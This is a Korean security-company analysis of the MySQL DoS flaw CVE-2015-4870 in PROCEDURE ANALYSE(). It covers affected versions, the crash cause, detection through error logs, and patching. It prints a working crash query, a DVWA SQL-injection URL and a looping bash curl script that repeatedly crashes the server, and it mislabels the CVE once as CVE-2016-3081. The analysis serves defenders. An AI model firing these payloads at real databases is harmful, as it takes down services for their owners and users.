보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

MySQL DoS 취약점(CVE-2015-4870)분석

2016.07.04

12,413

보안관제사업부 보안분석팀 김미희

 

1. 개요


스리랑카 보안전문가 오산다 말리스(Osanda Malith)에 의해서 MySQL DoS 취약점(CVE-2015-4870)이 발견되었다. CVE-2015-4870은 SQL Injection을 이용한 취약점으로 디도스 공격을 통해 홈페이지를 다운시킬 수 있다. 공격코드가 공개되어 있어서 공격이 용이하고 공격에 따른 영향도가 높다고 판단됨에 따라 이번 호에서는 CVE-2016-3081취약점에 대해서 분석해 보았다.

 

2. 영향 받는 소프트웨어

 

CVE

영향 받는 버전

보안패치 버전 

CVE-2015-4870 

 MySQL 5.5.45 및 이전 버전

 MySQL 5.5.46 이상

 MySQL 5.6.26 및 이전 버전

 MySQL 5.6.27 이상

 


3. 공격 원리


CVE-2015-4870취약점은 MySQL의 PROCEDURE ANALYSE()함수를 이용한 SQL Injection공격방식이다. PROCEDURE ANALYSE()는 MySQL 3.23.x 이상 버전에서 사용 가능한 기능으로 테이블 각 열에 대한 최적의 데이터 형식을 제공하거나 현재 쿼리에서 사용되고 있는 Column에 관한 정보를 뿌려주는 역할을 한다.

 

일반적으로 MySQL에서 Column정보를 보는 방법으로는 union select table_name, column_name from information_schama.columns가 있으나 PROCEDURE로도 확인이 가능하다.

 

SELECT ... FROM ... WHERE ... PROCEDURE ANALYSE([max_elements,[max_memory]])

 

지원버전 : MySQL 3.23.x 이상 버전
max_elements (default 256) : 고유 값의 최대 수
max_memory (default 8192) 최대 메모리 양, 모든 고유 값을 찾기 위해 열별로 할당

 

 

[표 1] PROCEDURE ANALYSE() 함수 원형


CVE-2015-4870공격에 사용되는 [표 4-2]을 살펴보면 취약점이 발생하는 원인은 PROCEDURE ANALYSE()에서 이중쿼리문의 해석이 불가능하여 발생되게 된다.

 

 SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);

 

 

[표 2] CVE-2015-4870 취약점 구문


CVE-2015-4870취약점이 존재하는 MySQL 5.1.41버전에서 확인해보면 [그림 4-1]과 같이 SELECT * FROM information_schema.tables PROCEDURE ANALYSE((SELECT 1),1);과 같이 단일쿼리문을 사용한 경우에는 PROCEDURE ANALYSE()가 정상적으로 수행되지만, [그림 4-2]와 같이 SELECT * FROM information_schema.tables PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);에서 이중쿼리문이 정상적으로 해석되지 않아 크러쉬가 발생되면서 MySQL 프로세스가 종료되게 된다.

 



[그림 1] PROCEDURE ANALYSE()에 단일쿼리문을 삽입한 경우

 



[그림 2] PROCEDURE ANALYSE()에 서브쿼리문을 삽입한 경우


CVE-2015-4870취약점 공격코드는 앞서 [표 4-2]을 이용하면 된다.

 

 select * from information_schema.tables procedure analyse((select*from(select 1)x),1);

 


[표 3] CVE-2015-4870 POC 예시


MySQL 5.1.41환경에서 [표 4-3]과 같이 공격코드를 삽입하면 “ERROR 2013 (HY000): Lost connection to MySQL server during query”메시지가 발생하면서 윈도우인 경우에는 mysqld.exe프로세스의 비정상적인 종료를 알리는 팝업창이 발생하면서 프로세스가 종료된다.

 



[그림 3] mysqld.exe 프로세스 종료 메시지


윈도우의 경우에는 MySQL 실행 시에 mysqld.exe 단일 프로세스가 동작되며 CVE-2015-4870 공격코드를 삽입하는 경우에 바로 프로세스가 종료되면서 윈도우 이벤트 로그(Windows Event Log)에 응용프로그램 오류로 이벤트가 발생되게 된다.

 



[그림 4] mysqld.exe 프로세스 종료 메시지

 



[그림 5] 윈도우 이벤트 로그


그에 반해 리눅스의 경우에는 MySQL 실행 시에 mysqld 프로세스가 동작되며 CVE-2015-4870 공격코드를 삽입하는 경우에 프로세스가 종료되지만 자동으로 복구되기 때문에 다수의 공격코드를 전송해야 서비스에 영향을 미칠 수 있다.

 

오산다 말리스(Malith)의 분석에 따르면 struct TABLE_LIST에서 충돌이 발생하여 MySQL프로세스가 종료되는 것을 확인할 수 있다.

 



[그림 6] TABLE_LIST 구조체에서 취약점 발생

 


4. 취약점 공격방법


CVE-2015-4870공격코드를 이용하면 SQL Injection 취약점으로 원격에서 DoS 공격을 수행할 수 있다.

 

 

[ 테스트 환경 ]


● Windows XP SP3
● MySQL 5.1.41
● DVWA 1.8

 

 


공격에 앞서 DVWA 1.8의 Security Level은 low로 설정한 후 id파라미터에 CVE-2015-4870 공격코드를 삽입하면 서버에서는 [그림 4-4]의 팝업창이 발생하면서 MySQL 프로세스가 종료된다.

 

 http://192.168.78.133/DVWA-1.0.8/DVWA-1.0.8/vulnerabilities/sqli/?id=1' procedure analyse((select*from(select 1)x),1)-- -&Submit=Submit#

 


[표 4] SQL Injection을 이용한 CVE-2015-4870 공격코드 실행 명령어

 



[그림 7] DVWA를 이용한 DoS 공격


CVE-2015-4870공격코드가 성공 후에는 다음과 같이 웹 서비스를 정상적으로 사용이 불가능 하게 되어 DoS 공격이 성공하는 것을 볼 수 있다.

 



[그림 8] MySQL 서버 접속 불가


리눅스의 경우 앞서 설명한 것과 마찬가지로 프로세스 종료 시에 자동으로 실행시키기 때문에 GET 패킷을 다수 보내야 하고 이를 위해서 BASH Script를 이용하여 공격이 가능하다.

 

 

while true;
do curl "http://host/?id=1%27%20procedure%20analyse%28%28select*from%28select%201%29x%29,1%29--%20-" > /dev/null 2>&1
done;

 


[표 5] bash파일을 이용한 CVE-2015-4870 공격코드 실행 명령어


뿐만 아니라 python으로 공격코드가 공개되어 있어 좀더 쉽게 공격이 가능하게 된다. [그림 4-9]의 28번째 라인에 해당하는 host부분에 SQL Injection공격이 가능한 파라미터가 존재하는 URL을 삽입하고 python 코드를 실행하면 공격이 실행되게 된다.

 



[그림 9] CVE-2015-4870 POC 중 일부

 



[그림 10] CVE-2015-4870 POC 실행 모습

 

5. 취약점 탐지방법


CVE-2015-4870 공격여부를 시스템상에서 탐지하기 위해서는 MySQL의 에러로그를 확인하면 알 수 있다.
취약점이 존재하는 MySQL 5.1.73에서 공격코드를 실행하는 경우 [그림 4-12]와 같이 에러로그에서 공격코드를 통해서 공격여부를 인지할 수가 있다.

 

 

[그림 11] 취약한 MySQL 버전(5.1.73)에서 테스트 시 발생 에러

 



[그림 12] 취약한 MySQL 버전(5.1.73)에서 테스트 시 에러로그 존재


취약점이 패치된 MySQL 5.6.31의 경우에는 SQL syntax 에러 메시지가 발생될 뿐 MySQL프로세스가 종료되지 않아 에러로그에서도 공격코드가 확인되지 않는다.



[그림 13] 양호한 MySQL 버전(5.6.31)에서 테스트 시 발생 에러

 



[그림 14] 양호한 MySQL 버전(5.6.31)에서 테스트 시  에러로그 미존재

 

 

6. 대응방안


CVE-2015-4870취약점을 조치하기 위해서는 다음 3가지 방안이 존재한다.

 

1) 시큐어코딩
- CVE-2015-4870공격은 PROCEDURE ANALYSE()를 이용한 SQL Injection 공격이기 때문에 SQL Injection에 대한 시큐어코딩이 필요

 

2) MySQL Update
- MySQL 5.5.46 이상, MySQL 5.6.27 이상으로 업데이트

 

3) IPS/WAF에서 탐지
- IPS와 WAF의 탐지방안은 이번 호 SIEM Guide 참조

 


7. 참고자료


[1] MySQL DoS in the Procedure Analyse Function – CVE-2015-4870
https://osandamalith.wordpress.com/2016/05/29/mysql-dos-in-the-procedure-analyse-function-cve-2015-4870/#comments

[2] CVE-2015-4870 Exploit
https://github.com/OsandaMalith/CVE-2015-4870/blob/master/DoS.py

[3] Plan to deprecate PROCEDURE ANALYSE
http://www.tocker.ca/2015/06/29/plan-to-deprecate-procedure-analyse.html